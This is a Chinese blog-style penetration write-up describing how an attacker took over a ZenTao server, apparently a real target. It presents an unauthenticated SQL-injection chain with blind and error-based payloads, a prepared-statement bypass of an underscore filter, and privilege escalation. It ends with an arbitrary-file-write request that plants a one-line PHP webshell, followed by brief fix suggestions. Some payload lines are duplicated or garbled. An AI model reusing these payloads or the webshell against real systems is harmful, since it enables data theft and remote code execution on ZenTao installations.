1. 程式人生 > >從SQL注入到Getshell:記一次禪道系統的滲透

從SQL注入到Getshell:記一次禪道系統的滲透

https://zhuanlan.zhihu.com/p/34275981?utm_source=qq&utm_medium=social

此過程為某站點的滲透記錄,過程一波三折,但歸根結底都是粗心大意造成的,不過自我認為在這個排坑的過程中也學習到了很多。

確認版本

首先可以通過介面來確認一下當前禪道的版本。

http://chaitin.cn/index.php?mode=getconfig

SQL注入分析

網上之前有過一個9.1.2orderBy函式的分析,但是沒想到9.2.1也存在此問題,(2018.3.2號看到目前最新版本是9.8.1)。

出問題的地方是此檔案的orderBy函式:\lib\base\dao\dao.class.php

public function orderBy($order)
{
    if($this->inCondition and !$this->conditionIsTrue) return $this;

    $order = str_replace(array('|', '', '_'), ' ', $order);

    /* Add "`" in order string. */
    /* When order has limit string. */
    $pos    = stripos($order, 'limit');
    $orders = $pos ? substr($order, 0, $pos) : $order;
$limit = $pos ? substr($order, $pos) : ''; $orders = trim($orders); if(empty($orders)) return $this; if(!preg_match('/^(\w+\.)?(`\w+`|\w+)( +(desc|asc))?( *(, *(\w+\.)?(`\w+`|\w+)( +(desc|asc))?)?)*$/i', $orders)) die("Order is bad request, The order is $orders"); $orders = explode(',', $orders);
foreach($orders as $i => $order) { $orderParse = explode(' ', trim($order)); foreach($orderParse as $key => $value) { $value = trim($value); if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue; $field = $value; /* such as t1.id field. */ if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field); if(strpos($field, '`') === false) $field = "`$field`"; $orderParse[$key] = isset($table) ? $table . '.' . $field : $field; unset($table); } $orders[$i] = join(' ', $orderParse); if(empty($orders[$i])) unset($orders[$i]); } $order = join(',', $orders) . ' ' . $limit; $this->sql .= ' ' . DAO::ORDERBY . " $order"; return $this; }

對於limit後未做嚴格的過濾與判斷,然後拼接到了order by後面導致產生注入.

$order = join(',', $orders) . ' ' . $limit;

看了一下9.8.1的修補是對limit進行正則限制,但是事實上感覺此處正則是寫了一個bug,比如正常呼叫orderBy($order)的時候,其中$orderabc desc limit 1,1的時候,進入$limit則是limit 1,1,導致匹配失敗。

/* Add "`" in order string. */
/* When order has limit string. */
$pos    = stripos($order, 'limit');
$orders = $pos ? substr($order, 0, $pos) : $order;
$limit  = $pos ? substr($order, $pos) : '';
if($limit and !preg_match('/^[0-9]+ *(, *[0-9]+)?$/', $limit)) $limit = '';

如果想要造成前臺注入(無需登入)的話,就得先看看禪道開放了哪些介面,看是否有呼叫orderBy函式。

\zentao\module\common\model.php

public function isOpenMethod($module, $method)
{
   if($module == 'user' and strpos('login|logout|deny|reset', $method) !== false) return true;
   if($module == 'api'  and $method == 'getsessionid') return true;
   if($module == 'misc' and $method == 'ping')  return true;
   if($module == 'misc' and $method == 'checktable') return true;
   if($module == 'misc' and $method == 'qrcode') return true;
   if($module == 'misc' and $method == 'about') return true;
   if($module == 'misc' and $method == 'checkupdate') return true;
   if($module == 'misc' and $method == 'changelog') return true;
   if($module == 'sso' and $method == 'login')  return true;
   if($module == 'sso' and $method == 'logout') return true;
   if($module == 'sso' and $method == 'bind') return true;
   if($module == 'sso' and $method == 'gettodolist') return true;
   if($module == 'block' and $method == 'main') return true;

   if($this->loadModel('user')->isLogon() or ($this->app->company->guest and $this->app->user->account == 'guest'))
   {
       if(stripos($method, 'ajax') !== false) return true;
       if(stripos($method, 'downnotify') !== false) return true;
       if($module == 'tutorial') return true;
       if($module == 'block') return true;
       if($module == 'product' and $method == 'showerrornone') return true;
   }
   return false;
}

其中的if($module == 'block' and $method == 'main') return true;,也就是本次漏洞的主角,繼續跟進。

\zentao\module\block\control.php

class block extends control
{
    public function __construct($moduleName = '', $methodName = '')
    {
        parent::__construct($moduleName, $methodName);
        $this->selfCall = strpos($this->server->http_referer, common::getSysURL()) === 0 || $this->session->blockModule;
        if($this->methodName != 'admin' and $this->methodName != 'dashboard' and !$this->selfCall and !$this->loadModel('sso')->checkKey()) die('');
    }
    public function main($module = '', $id = 0)
    {
        ...
       $mode = strtolower($this->get->mode);
       if($mode == 'getblocklist')
       {   
           ...
       }   
       elseif($mode == 'getblockform')
       {   
           ...
       }   
       elseif($mode == 'getblockdata')
       {
           $code = strtolower($this->get->blockid);
    
           $params = $this->get->param;
           $params = json_decode(base64_decode($params));
            ....
           $this->viewType    = (isset($params->viewType) and $params->viewType == 'json') ? 'json' : 'html';
           $this->params      = $params;
           $this->view->code  = $this->get->blockid;
           $this->view->title = $this->get->blockTitle;
    
           $func = 'print' . ucfirst($code) . 'Block';
           if(method_exists('block', $func))
           {
               $this->$func($module);
           }
           else
           {
               $this->view->data = $this->block->$func($module, $params);
           }
       }
    }
}

首先看__construct中,$this->selfCall是在驗證referer的值,如果為真的話則後面的if將不會進入die語句裡面

接下來跟進main函式,可以看到最後的$func = 'print' . ucfirst($code) . 'Block';,會對一些函式進行呼叫,與此同時,我們搜尋orderBy的呼叫的時候可以發現printCaseBlock函式的存在

\zentao\module\block\control.php

所以前臺注入的整個過程便比較清晰了,那麼如何利用?

SQL注入利用

回過頭來,因為禪道有windows直接的一鍵化安裝程式,其資料庫使用的也是root許可權,導致可直接匯出shell,但是如果沒有這麼高許可權的時候,對於這個注入應該如何出資料。

sql = 'select user()'
param = '{"orderBy":"order limit 1;select (if(ord(mid((%s),%d,1))=%d,sleep(2),1))--","num":"1,1","type":"openedbyme"}' % (sql,n,i) ,1))--","num":"1,1","type":"openedbyme"}' % (sql,n,i) 

禪道是支援多語句的,這也為後面的利用提供方便。

注入出資料庫名和表段名後,當我想繼續注入出使用者賬號密碼的時候,意外地發現沒有出資料。

sql = 'select 12345 from zt_user'

還是沒有出資料,猜測是管理員改了表字首,所以想去通過information_schema查詢一下表名,但是意外地發現,也不能讀取?難道被刪了?但是我還是想知道一下表字首。

請求的時候加了一個單引號,並且加上referer,看一下報錯資訊。

http://example.com/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxJyIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0=

其中param經過BASE64解碼得到
{"orderBy":"order limit 1,1'","num":"1,1","type":"openedbyme"}

因為PDO的關係,SQL中的表名是%s替代的,所以未能夠得到庫名。

那麼就利用報錯去得到當前SQl語句裡面查詢的表名,比如利用polygon函式。

此注入點可以理解為limit後的注入點,因為使用多語句的話,報錯效果不明顯,所以就直接在limit後面進行注入。

http://example.com/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxIFBST0NFRFVSRSBBTkFMWVNFKHBvbHlnb24oaWQpLDEpIyIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0=

param base64解碼
{"orderBy":"order limit 1,1 PROCEDURE ANALYSE(polygon(id),1)#","num":"1,1","type":"openedbyme"}

上圖為本地測試,但是limit的注入和mysql版本還有一些關係,目前網上的payload僅限於低版本才可報錯注入出資料,很不幸運的是,目標使用的是高版本mysql。

那既然可以多語句,在不能用information_schema的情況下,可以通過下面語法來進行盲注:

show table status where name = 'xxx' and sleep(2)

寫到py裡面的payload是這樣的

sql = "show table status where hex(substr(name,1,8))='7a745f75736572%s' and sleep(2)" % binascii.b2a_hex(chr(i))
param = '{"orderBy":"order limit 1,1;%s--","num":"1,1","type":"openedbyme"}' % sql

經過一番折騰發現,表字首就是預設的zt_,但是為啥又不能夠讀取到使用者資料呢?

仔細看到禪道里面的orderBy函式,發現做了過濾。

$order = str_replace(array('|', '', '_'), ' ', $order);

把下劃線給過濾掉了,那這種在多語句下,可以利用mysql的預查詢來繞過,值得注意的是,這個版本語法大小寫敏感。

SET @SQL=0x494E5345525420494E544F206D6F76696520286E616D652C20636F6E74656E74292056414C55455320282761616161272C27616161612729;PREPARE pord FROM @SQL;EXECUTE pord;SET @SQL=0x494E5345525420494E544F206D6F76696520286E616D652C20636F6E74656E74292056414C55455320282761616161272C27616161612729;PREPARE pord FROM @SQL;EXECUTE pord;

注入出admin密碼的時候,驚喜地發現不能解開,無奈之下,只能先拿到一個普通賬號。

Getshell

禪道在防止getshell方面還花了一點心思,曾經挖到一個可以任意寫檔案getshell(最新版本還存在這段程式碼),不過需要的許可權是管理員許可權。

看了一下禪道里麵人員組織架構情況,有研發、專案經理、產品經理,高層管理,系統管理員等角色,其中系統管理員雖然密碼解不開,但是我們可以去解密一下高層管理的密碼,因為這個角色的許可權是可以修改某使用者的使用者組許可權。在高層管理賬號中,我們可以將一個普通賬號修改為管理員。

接下來就是寫檔案Getshell:

/xampp/zentaopro/module/api/control.php

public function getModel($moduleName, $methodName, $params = '')
{
    parse_str(str_replace(',', '&', $params), $params);
    $module = $this->loadModel($moduleName);
    
    $result = call_user_func_array(array(&$module, $methodName), $params);
    if(dao::isError()) die(json_encode(dao::getError()));
    $output['status'] = $result ? 'success' : 'fail';
    $output['data']   = json_encode($result);
    $output['md5']    = md5($output['data']);
    $this->output     = json_encode($output);
    die($this->output);
}

可以看到是進入了call_user_func_array,也就是我們可以任意例項化一個module方法,方法的引數也是可控的,可以通過,來分割引數。

/zentaopro/module/editor/model.php

public function save($filePath)
{
    $fileContent = $this->post->fileContent;
    $evils       = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert');
    $gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t');
    $fileContent = str_ireplace($gibbedEvils, $evils, $fileContent);
    if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent);

    $dirPath = dirname($filePath);
    $extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4);
    if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true);
    if(is_writable($dirPath))
    {
        file_put_contents($filePath, $fileContent);
    }
    else
    {
        die(js::alert($this->lang->editor->notWritable . $extFilePath));
    }
}

在editor中是可以寫一個檔案的,filePath可控,fileContent也是可控的,這下就是可以任意寫一個檔案。

Exp:

http://example.com/?m=api&f=getModel&moduleName=editor&methodName=save&params=filePath=aaaaaa.php

POST內容:
fileContent=<?php $_POST[1]($_POST[2]);

最後的shell地址是\zentaopro\module\api\aaaaaa.php

但是問題又來了,前面報錯裡面得到的路徑目錄感覺像是做了許可權(這裡繞彎了,路徑少加了一個www,所以以為是沒許可權寫),最終從資料庫中的zt_file獲取上傳檔案的路徑,然後再將shell寫入當中才得以結束。

總結

對於order by的漏洞如何進行防禦的時候,我覺得上面程式碼在部分上有可取之處。

1、去掉limit部分,然後限制格式

if(!preg_match('/^(\w+\.)?(`\w+`|\w+)( +(desc|asc))?( *(, *(\w+\.)?(`\w+`|\w+)( +(desc|asc))?)?)*$/i', $orders)) die("Order is bad request, The order is $orders");

2、然後迴圈對每個欄位進行反引號的新增

$orders = explode(',', $orders);
foreach ($orders as $i => $order) {
	$orderParse = explode(' ', trim($order));
	foreach ($orderParse as $key => $value) {
		$value = trim($value);
		if (empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') {
			continue;
		}

		$field = $value;
		/* such as t1.id field. */
		if (strpos($value, '.') !== false) {
			list($table, $field) = explode('.', $field);
		}

		if (strpos($field, '`') === false) {
			$field = "`$field`";
		}

		$orderParse[$key] = isset($table) ? $table . '.' . $field : $field;
		unset($table);
	}
	$orders[$i] = join(' ', $orderParse);
	if (empty($orders[$i])) {
		unset($orders[$i]);
	}

}

整個過程就是自己在挖莫名其妙的坑,然後再一個個慢慢補上,希望能夠對大家有用。